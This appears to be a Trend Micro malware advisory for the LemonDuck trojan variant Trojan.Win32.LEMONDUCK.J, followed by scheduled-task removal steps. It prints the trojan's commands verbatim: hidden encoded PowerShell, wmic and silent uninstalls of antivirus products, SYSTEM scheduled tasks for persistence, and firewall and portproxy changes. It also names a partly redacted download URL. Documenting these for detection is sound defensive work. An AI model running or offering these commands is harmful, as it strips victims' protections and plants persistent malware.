Trojan.Win32.LEMONDUCK.J

 Modified by: Joshua Paul Ignacio

 ALIASES:

N/A

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

151,619 bytes

File Type:

EXE

Initial Samples Received Date:

21 Feb 2021

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • cmd /c powershell -e {Base64 Encoded Command}
  • "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
  • "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
  • "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
  • "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
  • "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
  • "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
  • "%System%\cmd.exe" /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
  • "%System%\cmd.exe" /c C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe /verysilent /suppressmsgboxes /norestart
  • "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 120 /tn blackball2 /F /tr blackball2
  • "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn \{Random Characters} /F /tr "powershell -w hidden -c PS_CMD"
  • "%System%\schtasks.exe" /run /tn \{Random Characters}
  • "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn {Random Characters}\{Random Characters} /F /tr "powershell -w hidden -c PS_CMD"
  • "%System%\schtasks.exe" /run /tn {Random Characters}\{Random Characters}
  • "%System%\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\{Random Characters}\{Random Characters} /F /tr "powershell -w hidden -c PS_CMD"
  • "%System%\schtasks.exe" /run /tn MicroSoft\Windows\{Random Characters}\{Random Characters}
  • "%System%\cmd.exe" /c netsh.exe firewall add portopening tcp 65529 SDNSd
  • "%System%\netsh.exe" interface portproxy add v4tov4 listenport=65529 connectaddress={BOCKED}.{BLOCKED}.1.1 connectport=53
  • "%System%\netsh.exe" advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.154.202 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.207.96 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.188.255 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.80.221 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.107.193 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=in protocol=any remoteip={BLOCKED}.{BLOCKED}.43.37 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.154.202 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.207.96 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=d.{BLOCKED}g.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.188.255 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.80.221 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.107.193 action=block
  • "%System%\netsh.exe" advfirewall firewall add rule name=t.{BLOCKED}x.com dir=out protocol=any remoteip={BLOCKED}.{BLOCKED}.43.37 action=block
  • "%System%\schtasks.exe" /delete /tn blackballl /F
  • "%System%\schtasks.exe" /delete /tn blackball /F
  • "%System%\schtasks.exe" /delete /tn Rtsa2 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa1 /F
  • "%System%\schtasks.exe" /delete /tn Rtsa /F

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://down.{BLOCKED}o.com/gim.jsp

It does the following:

  • It adds the following scheduled tasks:
    • Task Name: blackball2
      Trigger: At {Time and Date of execution} - After triggered, repeat after 02:00:00 indefinitely
      Action: Start a program: blackball2
    • Task Name: {Random Characters}
      Trigger: At {Time and Date of execution} - After triggered, repeat after 1 hour indefinitely
      Action: Start a program: powershell -w hidden -c {Command}
    • Task Name: {Random Characters}\{Random Characters}
      Trigger: At {Time and Date of execution} - After triggered, repeat after 1 hour indefinitely
      Action: Start a program: powershell -w hidden -c {Command}
    • Task Name: MicroSoft\Windows\{Random Characters}\{Random Characters}
      Trigger: At {Time and Date of execution} - After triggered, repeat after 1 hour indefinitely
      Action: Start a program: powershell -w hidden -c {Command}

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

16.552.02

FIRST VSAPI PATTERN DATE:

21 Feb 2021

VSAPI OPR PATTERN File:

16.553.00

VSAPI OPR PATTERN Date:

22 Feb 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name: blackball2
    Task to be run: Start a program: blackball2
  • Task Name: {Random Characters}
    Task to be run: Start a program: powershell -w hidden -c {Command}
  • Task Name: {Random Characters}\{Random Characters}
    Task to be run: Start a program: powershell -w hidden -c {Command}
  • Task Name: MicroSoft\Windows\{Random Characters}\{Random Characters}
    Task to be run: Start a program: powershell -w hidden -c {Command}

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.LEMONDUCK.J. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.